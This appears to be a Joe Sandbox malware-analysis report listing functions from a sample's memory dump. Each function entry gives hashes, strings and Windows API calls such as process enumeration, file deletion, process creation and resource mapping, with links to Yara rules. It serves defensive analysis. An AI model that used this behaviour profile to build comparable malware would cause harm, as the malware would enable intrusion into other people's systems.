Instruction ID: cc2e743cb4faa9123b802040c57ae6bba5d6a89f9863f336a6970e81603e5ea7
Opcode Fuzzy Hash: 0ef2782f6f8a22ea8e9e19d0c8e3cdbd1de34e936990b05fc137256f9d93cb50
Instruction Fuzzy Hash: 4172C0B09013588BDB64DF24CC85BEEB7B6AF44304F1082DDE649A7281EB755E84CF69

Function 006EB0A0 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 324
processfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,A8A24446,?,00000000), ref: 006EB0DC
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?,00000003,000000FF,-00000020,?,00000003,000000FF), ref: 006EB2B0
Process32First.KERNEL32(00000000,?), ref: 006EB2D3
GetCurrentProcessId.KERNEL32 ref: 006EB2E1
OpenProcess.KERNEL32(00000400,00000000,?), ref: 006EB2FD
QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,?), ref: 006EB328
CloseHandle.KERNEL32(00000000), ref: 006EB398
CloseHandle.KERNELBASE(00000000), ref: 006EB3A3
Process32Next.KERNEL32(00000000,00000128), ref: 006EB3B5
CloseHandle.KERNELBASE(00000000), ref: 006EB3C4
DeleteFileW.KERNELBASE(?), ref: 006EB3DB

Strings

status, xrefs: 006EB504
directory_iterator::directory_iterator, xrefs: 006EB4F9

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CloseHandleProcess$FileNameProcess32$CreateCurrentDeleteFirstFullImageModuleNextOpenQuerySnapshotToolhelp32
String ID: directory_iterator::directory_iterator$status
API String ID: 1496499601-2525534277
Opcode ID: 907589ca7d10203e30a428e54aabebff4572d8eb04a017ea796df40b7a0f6b30
Instruction ID: 67ccd98355be64456018f4c0d6f00f17e28bee91a158fc2491485063823e74f2
Opcode Fuzzy Hash: 907589ca7d10203e30a428e54aabebff4572d8eb04a017ea796df40b7a0f6b30
Instruction Fuzzy Hash: 1EC1D171A023548BDB25DF25CC94BEEB3BAEF44300F1491A8E50AAB285DB349F85CF54

Function 006EA3D0 Relevance: 21.8, APIs: 14, Instructions: 829
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(?,?,?,?,00718DCC,00000000,A8A24446), ref: 006EA680
SetFileAttributesA.KERNELBASE(?,00000000,?,?,?,?,00718DCC,00000000,A8A24446), ref: 006EA69A
GetBinaryTypeA.KERNEL32(?,FFFFFFFF,?,?,?,?,00718DCC,00000000,A8A24446), ref: 006EA6B6
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000010,00000000,00000000,00000044,?,FFFFFFFF,?,00000000,?,?,00000000), ref: 006EA8A9
CloseHandle.KERNEL32(?,?,?,00000000,00718F44,00000001,?,FFFFFFFF,?,?,?,?,00718DCC,00000000,A8A24446), ref: 006EA8BF
CloseHandle.KERNEL32(?,?,?,00000000,00718F44,00000001,?,FFFFFFFF,?,?,?,?,00718DCC,00000000,A8A24446), ref: 006EA8C7
OpenProcess.KERNEL32(00000410,00000000,?,A8A24446,?,00000000), ref: 006EAA10
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,?,?,?,?,?,?,00000000), ref: 006EAA2B
CloseHandle.KERNEL32(00000000), ref: 006EAA36
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 006EAA3E
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000), ref: 006EAA52
___std_fs_convert_wide_to_narrow@20.LIBCPMT ref: 006EAC3C
___std_fs_convert_wide_to_narrow@20.LIBCPMT ref: 006EAC84
GetCurrentProcessId.KERNEL32(?,?,?,?,00000001,00000000,00718F40,00000001,?,?,?,?,00000000), ref: 006EAFD3

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CloseFileHandle$Process$AttributesModuleName___std_fs_convert_wide_to_narrow@20$BinaryCreateCurrentOpenType
String ID:
API String ID: 2016004407-0
Opcode ID: 8af5f72b137c00bef7881e50d6d37db22aed89c07fe627863a6e0c6d2609a080
Instruction ID: 87736ea699be6610cda6e51f46edc680632d513c51982794ab0581237402d854
Opcode Fuzzy Hash: 8af5f72b137c00bef7881e50d6d37db22aed89c07fe627863a6e0c6d2609a080
Instruction Fuzzy Hash: F272B270D013988BDB25DB64CC88BEEB776AF45300F1482D9E159AB292DB74AEC4CF51

Function 00F81127 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 125
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00F81151
_amsg_exit.MSVCRT ref: 00F81172
_initterm.MSVCRT ref: 00F8119B
_initterm.MSVCRT ref: 00F811C3
SetUnhandledExceptionFilter.KERNEL32 ref: 00F8120B
malloc.MSVCRT ref: 00F8123A
strlen.MSVCRT ref: 00F81256
malloc.MSVCRT ref: 00F81264
exit.MSVCRT ref: 00F812D4
_cexit.MSVCRT ref: 00F812E2

Strings

Ht, xrefs: 00F8123F, 00F81291, 00F812AD

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: _inittermmalloc$ExceptionFilterSleepUnhandled_amsg_exit_cexitexitstrlen
String ID: Ht
API String ID: 1058485957-1661914626
Opcode ID: 1b2d21dd04a126444b2c0fe67a9e840a216b12495ab6b12dd005a15c975f930e
Instruction ID: cccf16239325fefb7d133282f147f7f03f7c46088a275724d32c0eaccfd5bd7f
Opcode Fuzzy Hash: 1b2d21dd04a126444b2c0fe67a9e840a216b12495ab6b12dd005a15c975f930e
Instruction Fuzzy Hash: CD513CB0904604CFDB21FFA5D8856D9BBF4FB49318F00852DEA8897206D77E9885EB52

Function 006EEEA3 Relevance: 15.2, APIs: 10, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesExW.KERNEL32(000000FF,00000000,?), ref: 006EEF3B
GetLastError.KERNEL32 ref: 006EEF45
FindFirstFileW.KERNEL32(000000FF,?), ref: 006EEF5C
GetLastError.KERNEL32 ref: 006EEF67
FindClose.KERNEL32(00000000), ref: 006EEF73
___std_fs_open_handle@16.LIBCPMT ref: 006EF02C

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: 506f311fa5c89d28668eada2483af4b7754d525709a622c21d3f3dffcf32d76b
Instruction ID: d2a1921985b445f25a9aa4dee0f3370d01bec92b12657e7b7d2d3ae5509a3494
Opcode Fuzzy Hash: 506f311fa5c89d28668eada2483af4b7754d525709a622c21d3f3dffcf32d76b
Instruction Fuzzy Hash: E671E275A02759AFCB60CF29CC98BE9B3B6BF05310F2082A5E955E7391DB309E41CB51

Function 006EEDC7 Relevance: 4.5, APIs: 3, Instructions: 35
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindClose.KERNEL32(000000FF,?,006EEDF5,?,?,?,006E8E27,?,?,A8A24446,?,?,?,A8A24446,?), ref: 006EEDD3
FindFirstFileExW.KERNELBASE(000000FF,00000001,A8A24446,00000000,00000000,00000000,?,?,?,?,006EEDF5,?,?,?,006E8E27,?), ref: 006EEE02
GetLastError.KERNEL32(?,006EEDF5,?,?,?,006E8E27,?,?,A8A24446,?,?,?,A8A24446,?), ref: 006EEE14

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: Find$CloseErrorFileFirstLast
String ID:
API String ID: 4020440971-0
Opcode ID: 9947d47f80d2ba22d6ee11c504e5788ff501e9fcaca60bf4425014f01dc197bb
Instruction ID: 4b1a19c4e3a5ece34557de88bee176b75ea30afc66aacd460f591e1491afc89b
Opcode Fuzzy Hash: 9947d47f80d2ba22d6ee11c504e5788ff501e9fcaca60bf4425014f01dc197bb
Instruction Fuzzy Hash: 0DF05E31501748BFDB101FB9DC089FA7B9EEF14371B608625BA68855A0D73288A29A64

Function 00FF8300 Relevance: 26.6, APIs: 13, Strings: 2, Instructions: 373
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00FF834F
freopen.MSVCRT ref: 00FF8375
malloc.MSVCRT ref: 00FF83A9

Part of subcall function 00F96880: SizeofResource.KERNEL32 ref: 00F96966
Part of subcall function 00F96880: strlen.MSVCRT ref: 00F969CC

Part of subcall function 00F96740: malloc.MSVCRT ref: 00F96772
Part of subcall function 00F96740: malloc.MSVCRT ref: 00F96802
Part of subcall function 00F96740: memcpy.MSVCRT(?,?,?,?,?,?,00000000,?,?,?,00FF8436), ref: 00F96836

Part of subcall function 00FF75D8: malloc.MSVCRT ref: 00FF75EF

malloc.MSVCRT ref: 00FF8481
CreateFileMappingA.KERNEL32 ref: 00FF853B
MapViewOfFile.KERNELBASE ref: 00FF856F
CloseHandle.KERNELBASE ref: 00FF8591
memmove.MSVCRT(00000000), ref: 00FF85FA
UnmapViewOfFile.KERNEL32(00FF9DC0), ref: 00FF8A08

Strings

@, xrefs: 00FF8524
", xrefs: 00FF855E

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: malloc$File$View$CloseConsoleCreateFreeHandleMappingResourceSizeofUnmapfreopenmemcpymemmovestrlen
String ID: "$@
API String ID: 1176651796-1136454570
Opcode ID: 5ca8bf29c4c3298d3cff91a68e11276ae87500cbe4b3e658353780bb04c9b17e
Instruction ID: 2cc7be6e57f34a16676808e595471ecbcc7c15aaf2cc238bbd013774f8944001
Opcode Fuzzy Hash: 5ca8bf29c4c3298d3cff91a68e11276ae87500cbe4b3e658353780bb04c9b17e
Instruction Fuzzy Hash: 471235B19003288FDB60DF68C8847ADBBF0BF44314F148599D58DAB352DB74AA85DF92

Function 00FF977C Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 130
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.MSVCRT ref: 00FF97D3
strtoul.MSVCRT ref: 00FF98A5
strchr.MSVCRT ref: 00FF98CA
malloc.MSVCRT ref: 00FF9903

Strings

:, xrefs: 00FF9818
=, xrefs: 00FF987F
., xrefs: 00FF9849
:, xrefs: 00FF98C2
@, xrefs: 00FF9809

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: getenvmallocstrchrstrtoul
String ID: .$:$:$=$@
API String ID: 3906490709-779014836
Opcode ID: 85bc1135d291a0268e3e4b7859c2a60e9052a29376e7b00112933f934202e078
Instruction ID: 4350d794d9b6d67eaa9efff816d56b1b9a4cf95e781b1e01b1de0b7a119cdf86
Opcode Fuzzy Hash: 85bc1135d291a0268e3e4b7859c2a60e9052a29376e7b00112933f934202e078
Instruction Fuzzy Hash: 15514AB1D083099FEB14EFA9D9803BDBBF5BF49354F50842ED68897261E7B48444EB41

Function 006EE1D0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006F982E: GetSystemTimeAsFileTime.KERNEL32(A8A24446,?,?,?,?,?,006ED235,00000000,A8A24446), ref: 006F9843
Part of subcall function 006F982E: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006F9862

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 006EE223
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 006EE289
GetTempPathA.KERNEL32(00000104,?), ref: 006EE29C
std::_Throw_Cpp_error.LIBCPMT ref: 006EE601
std::_Throw_Cpp_error.LIBCPMT ref: 006EE610
GetCurrentProcessId.KERNEL32 ref: 006EE628

Strings

invalid stoi argument, xrefs: 006EDF3E, 006EE192, 006EE5E6
stoi argument out of range, xrefs: 006EDF48, 006EE19C, 006EE5F0

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: File$Cpp_errorModuleNameThrow_Timestd::_$CurrentPathProcessSystemTempUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: invalid stoi argument$stoi argument out of range
API String ID: 3489346416-1606216832
Opcode ID: 82131b1dd6ea17c964985c393a770b4f1f68c21e450f633263d6560fd0219284
Instruction ID: 1968554cf7fd02e5f605437cfec8cd2e0980e453fd20814db09f01f4a893a71e
Opcode Fuzzy Hash: 82131b1dd6ea17c964985c393a770b4f1f68c21e450f633263d6560fd0219284
Instruction Fuzzy Hash: 14B124715093808BE764EB25CC45BEFB3E6AF85304F148A1CF58987292EF729948CB57

Function 00F96880 Relevance: 13.0, APIs: 8, Instructions: 977stringCOMMON

Download Yara Rule

APIs

SizeofResource.KERNEL32 ref: 00F96966
strlen.MSVCRT ref: 00F969CC
memcpy.MSVCRT ref: 00F9730A
malloc.MSVCRT ref: 00F97498
memcpy.MSVCRT ref: 00F974BD
memcpy.MSVCRT ref: 00F97752
memcpy.MSVCRT ref: 00F977C0
memcpy.MSVCRT ref: 00F97850

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: memcpy$ResourceSizeofmallocstrlen
String ID:
API String ID: 3230897057-0
Opcode ID: 31c01854059b7047a760ac7a215ea03b9d341bd9b070769b1ad95cf6f5b11316
Instruction ID: 904c9b83b5b6287f41d2f91f3bca0eadaf3175619e4f4cbf80cebe8660f8acee
Opcode Fuzzy Hash: 31c01854059b7047a760ac7a215ea03b9d341bd9b070769b1ad95cf6f5b11316
Instruction Fuzzy Hash: 9FB2E2749083688FEB61EF28C8847DDBBB0AF49310F1085E9D58CAB251DB749E88DF41

Function 00F8FEF5 Relevance: 12.1, APIs: 8, Instructions: 84
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00F90524), ref: 00F8FF0B

Part of subcall function 00F8FD42: calloc.MSVCRT ref: 00F8FD6F

GetCurrentThreadId.KERNEL32 ref: 00F8FF34
CreateEventA.KERNEL32 ref: 00F8FF52

Part of subcall function 00F8FE0A: GetCurrentThreadId.KERNEL32 ref: 00F8FE2E
Part of subcall function 00F8FE0A: OutputDebugStringA.KERNEL32 ref: 00F8FE53
Part of subcall function 00F8FE0A: abort.MSVCRT(00000000), ref: 00F8FE5A

GetCurrentThread.KERNEL32 ref: 00F8FF82
DuplicateHandle.KERNELBASE ref: 00F8FFB3
abort.MSVCRT(00000000,00000000), ref: 00F8FFC0
GetThreadPriority.KERNEL32(00000000,00000000), ref: 00F8FFCB
TlsSetValue.KERNEL32 ref: 00F8FFF2

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: Thread$Current$Valueabort$CreateDebugDuplicateEventHandleOutputPriorityStringcalloc
String ID:
API String ID: 3659382012-0
Opcode ID: 032e08c2e66a0461795a692c619964ba5efdf7ce5abc8b6f8e80299375bd2f80
Instruction ID: fac2f28dce4fbad562609d509841851f9c1ac0ca9ad23f11e31c268fd9665368
Opcode Fuzzy Hash: 032e08c2e66a0461795a692c619964ba5efdf7ce5abc8b6f8e80299375bd2f80
Instruction Fuzzy Hash: 703108B19057118FCB10EF79D98855ABFE4EF88310F00896EE894C721AE779C404CFA2

Function 006EEB8A Relevance: 6.2, APIs: 4, Instructions: 161
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006EE9C2: CopyFileW.KERNELBASE(?,?,00000000,?,?,?,006EECB6,?,?,00000000,?,?), ref: 006EE9D2

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000000,00000000,?,?,00000001,?,?), ref: 006EEBF6
GetLastError.KERNEL32(?,?,?,?,?,?,006E97E1,?,?,00000002,?,?,?,?,00000003,000000FF), ref: 006EEC03
CreateFileW.KERNEL32(?,00000080,?,00000000,00000003,00000000,00000000,?,?,?,?,?,?,006E97E1,?), ref: 006EEC2C
GetLastError.KERNEL32(?,?,?,?,?,?,006E97E1,?,?,00000002,?,?,?,?,00000003,000000FF), ref: 006EEC39

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: File$CreateErrorLast$Copy
String ID:
API String ID: 1426432123-0
Opcode ID: 33ccaebd260fbacad1dfee7bde5c334b29d94e9889611fd36e692ff6f36b6cfc
Instruction ID: fc1b2db36307ffbe4db09cdd2e6afe39cc524a633b0d92430ee7e758f88ed36f
Opcode Fuzzy Hash: 33ccaebd260fbacad1dfee7bde5c334b29d94e9889611fd36e692ff6f36b6cfc
Instruction Fuzzy Hash: 6941D370A02395AFDB50DBA6DCC19FE77BAAF09700F204429F920D7242DA669D458B64

Function 006EA010 Relevance: 4.7, APIs: 3, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?,A8A24446,?,00000000), ref: 006EA084
CreateDirectoryA.KERNELBASE(?,00000000,?), ref: 006EA198
GetLastError.KERNEL32 ref: 006EA1A6

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CreateDirectoryErrorLastPathTemp
String ID:
API String ID: 3750913106-0
Opcode ID: 2f42b31e5d51e1a97b178fd5b17204a4e5f5d23147525227005c191b2920aa94
Instruction ID: ae8821b5ed75e175a1a90546ed60048d1035bb987394609b3ae87e965a4e563e
Opcode Fuzzy Hash: 2f42b31e5d51e1a97b178fd5b17204a4e5f5d23147525227005c191b2920aa94
Instruction Fuzzy Hash: 8D6103719012588FDB28DB64CC89BEEB7B6EF49300F1482D8E159AB281DB746FC48F55

Function 00F96740 Relevance: 3.8, APIs: 3, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00F96772
malloc.MSVCRT ref: 00F96802
memcpy.MSVCRT(?,?,?,?,?,?,00000000,?,?,?,00FF8436), ref: 00F96836

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: malloc$memcpy
String ID:
API String ID: 3800483350-0
Opcode ID: 351240c1252baeacdd1985f195584500f00178e13d89fa853b7534a9951ff373
Instruction ID: 3ab92d59d6ec9ef49a853e4b772ea21cb0d75756c6c0bf91489a384a23f6ff91
Opcode Fuzzy Hash: 351240c1252baeacdd1985f195584500f00178e13d89fa853b7534a9951ff373
Instruction Fuzzy Hash: B6215CB49053058FDB11EF24D48056EBBF4BF48758F45882DF9C88B316E739A984DB92

Function 006E8C70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 006E8C9A

Part of subcall function 006EEDA6: FindNextFileW.KERNELBASE(?,?,?,006E8E55,?,A8A24446,?,?,A8A24446,?,?,?,A8A24446,?), ref: 006EEDAF

Strings

., xrefs: 006E8CA8

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: FileFindNext___std_fs_directory_iterator_advance@8
String ID: .
API String ID: 3878998205-248832578
Opcode ID: b9084b66fc26b378f251cf58b3d60837b26e29717046493f87489527f3d9a66f
Instruction ID: 2d96256dbaeae2f6d6d30c661da9fbaba3aaff3ab965bb30e36b0017e3d445b2
Opcode Fuzzy Hash: b9084b66fc26b378f251cf58b3d60837b26e29717046493f87489527f3d9a66f
Instruction Fuzzy Hash: 8721C030A026588FCB70DF2AD9087A9B3F6EF49720F10419AE80D973A0EF749D41CB84

Function 006E8D40 Relevance: 3.2, APIs: 2, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_fs_directory_iterator_open@12.LIBCPMT ref: 006E8E22
___std_fs_directory_iterator_advance@8.LIBCPMT ref: 006E8E50

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: ___std_fs_directory_iterator_advance@8___std_fs_directory_iterator_open@12
String ID:
API String ID: 3016148460-0
Opcode ID: a24dd148b3e4a0a6bcc89137ccde259454bf50b25d858282cba10718462b7562
Instruction ID: 7f49141600dede045def8460579021bee0936e4f8507387b4b8c40576de11361
Opcode Fuzzy Hash: a24dd148b3e4a0a6bcc89137ccde259454bf50b25d858282cba10718462b7562
Instruction Fuzzy Hash: D051C271D013999FCF24DB99C884BEEB7B6EF44710F144629E819AB781DB30AD44CB90

Function 006FF1C0 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 006FF20C
GetFileType.KERNELBASE(00000000), ref: 006FF21E

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: b64fa67a0fc46e434153e86d9d6bf6f42228aa03b6e0ab678682a40082c0ca9a
Instruction ID: d625e5977b88f5360cf36685bb617f54625a6202c63187f64cadd21dee5a7dcc
Opcode Fuzzy Hash: b64fa67a0fc46e434153e86d9d6bf6f42228aa03b6e0ab678682a40082c0ca9a
Instruction Fuzzy Hash: A911E77650474946CB308F7E8C886B2BA96AF57330B38072AE6B2866F1C374DA82D504

Function 00F8A7E7 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00F8A816

Strings

(null), xrefs: 00F8A7F5

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: wcslen
String ID: (null)
API String ID: 4088430540-3941151225
Opcode ID: 6bd81d61374c079d50155ddfe9f65fbe52271e0deb921c7287201e9de29dff86
Instruction ID: 5ce18463ec0ba7e899b35ade0c0a331729ea4927b6f909fde0497e4f9da725a0
Opcode Fuzzy Hash: 6bd81d61374c079d50155ddfe9f65fbe52271e0deb921c7287201e9de29dff86
Instruction Fuzzy Hash: FD21603190C7918FE721EF2584807AEBBE0EB49724F184A5ED4D89B245D734D942EB93

Function 00FF75D8 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00FF75EF

Strings

d9, xrefs: 00FF761B

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
